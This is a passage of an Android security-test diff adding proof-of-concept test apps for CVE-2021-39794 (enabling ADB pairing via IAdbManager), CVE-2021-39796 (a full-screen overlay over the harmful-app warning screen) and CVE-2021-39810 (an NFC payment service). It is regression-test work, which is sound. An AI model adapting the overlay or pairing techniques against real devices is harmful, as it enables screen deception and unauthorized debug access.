-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39794-test",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+    certificate: "platform",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..8ae6025
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39794_test"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.MANAGE_DEBUGGING"/>
+    <application
+        android:label="CVE-2021-39794-test"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocTestActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39794_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
new file mode 100644
index 0000000..d918b06
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.content.Context;
+import android.debug.IAdbManager;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ServiceManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final int MAX_WAIT_TIME_MS = 10000;
+
+    @Test
+    public void testCVE_2021_39794() {
+        IBinder binder = ServiceManager.getService(Context.ADB_SERVICE);
+        assumeNotNull(binder);
+        IAdbManager manager = IAdbManager.Stub.asInterface(binder);
+        assumeNotNull(manager);
+        try {
+            manager.enablePairingByPairingCode();
+        } catch (RemoteException e) {
+            assumeNoException(e);
+        }
+
+        // Wait for receiver app to get the broadcast
+        try {
+            Thread.sleep(MAX_WAIT_TIME_MS);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
new file mode 100644
index 0000000..6c11b9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocTestActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        fail("Vulnerable to b/205836329 !!");
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
similarity index 60%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
index bcbf54f..9ba76d0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39796",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
new file mode 100644
index 0000000..9ef9763
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2021_39796"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_39796"
+        android:supportsRtl="true">
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="true" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39796" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
index bcbf54f..d669e9f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39796-harmful",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
new file mode 100644
index 0000000..52f2fd2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39796_harmful"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2021-39796-harmful"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..bb5d570
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
new file mode 100644
index 0000000..3ca3645
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796_harmful;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
new file mode 100644
index 0000000..c16cd74
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivity">dumpsys activity</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity
+    command</string>
+    <string name="errorMessage">Device is vulnerable to b/205595291 hence any app with
+    SYSTEM_ALERT_WINDOW can overlay the HarmfulAppWarningActivity screen</string>
+    <string name="harmfulActivity">android/com.android.internal.app.HarmfulAppWarningActivity
+    </string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayAttack">overlayattack</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="testPkg">android.security.cts.CVE_2021_39796</string>
+    <string name="vulActivityNotRunningError">The HarmfulAppWarningActivity is not currently
+    running on the device</string>
+    <string name="vulnerablePkg">android.security.cts.CVE_2021_39796_harmful</string>
+    <string name="vulnerableActivity">android.security.cts.CVE_2021_39796_harmful.PocActivity
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
new file mode 100644
index 0000000..20fccde
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+        }
+    }
+
+    public void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        Intent intent = new Intent();
+        intent.setClassName(context.getString(R.string.vulnerablePkg),
+                context.getString(R.string.vulnerableActivity));
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+
+        PackageManager pm = getApplicationContext().getPackageManager();
+        List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        String vulnerableActivityName = context.getString(R.string.vulnerablePkg) + "/"
+                + context.getString(R.string.vulnerableActivity);
+
+        assumeTrue(context.getString(R.string.activityNotFoundMsg) + vulnerableActivityName,
+                ris.size() != 0);
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Context context = getApplicationContext();
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = mDevice
+                .wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), LAUNCH_TIMEOUT_MS);
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(context.getString(R.string.dumpsysActivity)
+                    + " " + context.getString(R.string.harmfulActivity));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+                activityPattern.matcher(activityDump).find());
+
+        assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
new file mode 100644
index 0000000..a7a9c5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        assumeTrue("The application cannot draw overlays",
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText("OverlayButton");
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
similarity index 69%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
index bcbf54f..9a11e88 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -12,15 +12,22 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39810",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
new file mode 100644
index 0000000..3bdc38d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39810"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.NFC"/>
+    <application
+        android:label="CVE-2021-39810"
+        android:supportsRtl="true">
+        <service
+            android:name=".PocService"
+            android:exported="true"
+            android:permission="android.permission.BIND_NFC_SERVICE">
+            <intent-filter>
+                <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+            </intent-filter>
+            <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
+                android:resource="@xml/aid_list"/>
+        </service>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
new file mode 100644
index 0000000..8983381
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:requireDeviceUnlock="false">
+    <aid-group android:category="payment">
+        <aid-filter android:name="325041592E5359532E4444463031" />
+    </aid-group>
+</host-apdu-service>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
new file mode 100644
index 0000000..e8e2085
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39810;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
index 6f2da5f..8076b50 100644
--- a/hostsidetests/statsdatom/Android.bp
+++ b/hostsidetests/statsdatom/Android.bp
@@ -45,6 +45,7 @@
         "src/**/sizecompatrestartbutton/*.java",
         "src/**/statsd/*.java",
         "src/**/telephony/*.java",
+        "src/**/tls/*.java",
         "src/**/wifi/*.java",
         "src/**/incremental/*.java",
     ],
@@ -72,7 +73,11 @@
     data: [
         ":CtsStatsdAtomApp",
         ":CtsStatsdApp", //TODO(b/163546661): Remove once migration to new lib is complete.
-    ]
+        ":CtsAppExitTestCases",
+        ":CtsExternalServiceService",
+        ":CtsSimpleApp",
+    ],
+    per_testcase_directory: true,
 }
 
 java_library_host {
diff --git a/hostsidetests/statsdatom/apps/statsdapp/Android.bp b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
index 2cd2fa0..b225281 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
@@ -59,6 +59,7 @@
     ],
     privileged: true,
     static_libs: [
+        "core-tests-support",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
         "androidx.legacy_legacy-support-v4",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index 923817f..2b1e5c4 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -80,7 +80,6 @@
 
 import com.android.compatibility.common.util.PollingCheck;
